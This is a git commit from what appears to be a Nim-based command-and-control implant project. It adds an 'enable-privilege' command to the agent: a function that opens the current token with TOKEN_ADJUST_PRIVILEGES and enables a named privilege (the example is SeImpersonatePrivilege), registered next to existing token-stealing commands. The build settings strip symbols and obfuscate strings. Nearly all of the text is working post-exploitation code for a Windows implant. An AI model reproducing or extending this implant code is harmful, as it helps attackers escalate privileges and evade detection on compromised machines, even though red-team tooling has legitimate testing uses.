Implemented 'enable-privilege' command.

This commit is contained in:
Jakob Friedl
2025-10-18 12:41:55 +02:00
parent b3e82fc3a8
commit ba1f1943fc
4 changed files with 53 additions and 3 deletions

View File

@@ -16,6 +16,7 @@ type
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.} NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.} ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.}
const const
@@ -33,9 +34,9 @@ proc getCurrentToken*(): HANDLE =
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken"))) pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to # https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, TRUE, addr hToken) status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TRUE, addr hToken)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken) status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
@@ -232,3 +233,26 @@ proc tokenSteal*(pid: int): bool =
proc rev2self*(): bool = proc rev2self*(): bool =
return RevertToSelf() return RevertToSelf()
proc enablePrivilege*(privilegeName: string): string =
var
tokenPrivs: TOKEN_PRIVILEGES
oldTokenPrivs: TOKEN_PRIVILEGES
luid: LUID
returnLength: DWORD
let hToken = getCurrentToken()
defer: CloseHandle(hToken)
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
raise newException(CatchableError, $GetLastError())
# Enable privilege
tokenPrivs.PrivilegeCount = 1
tokenPrivs.Privileges[0].Luid = luid
tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
if AdjustTokenPrivileges(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) == FALSE:
raise newException(CatchableError, $GetLastError())
return privilegeToString(addr luid)

View File

@@ -3,6 +3,6 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -56,6 +56,7 @@ type
CMD_STEAL_TOKEN = 19'u16 CMD_STEAL_TOKEN = 19'u16
CMD_REV2SELF = 20'u16 CMD_REV2SELF = 20'u16
CMD_TOKEN_INFO = 21'u16 CMD_TOKEN_INFO = 21'u16
CMD_ENABLE_PRIV = 22'u16
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8

View File

@@ -4,6 +4,8 @@ import ../common/[types, utils]
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult
# Module definition # Module definition
let module* = Module( let module* = Module(
@@ -38,6 +40,16 @@ let module* = Module(
example: protect("token-info"), example: protect("token-info"),
arguments: @[], arguments: @[],
execute: executeTokenInfo execute: executeTokenInfo
),
Command(
name: protect("enable-privilege"),
commandType: CMD_ENABLE_PRIV,
description: protect("enable a token privilege."),
example: protect("enable-privilege SeImpersonatePrivilege"),
arguments: @[
Argument(name: protect("privilege"), description: protect("Privilege to modify."), argumentType: STRING, isRequired: true)
],
execute: executeEnablePrivilege
) )
] ]
) )
@@ -47,6 +59,7 @@ when not defined(agent):
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent): when defined(agent):
@@ -101,3 +114,15 @@ when defined(agent):
except CatchableError as err: except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Enabling token privilege."
let privilege = Bytes.toString(task.args[0].data)
let privilegeName = enablePrivilege(privilege)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Enabled {privilegeName}."))
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))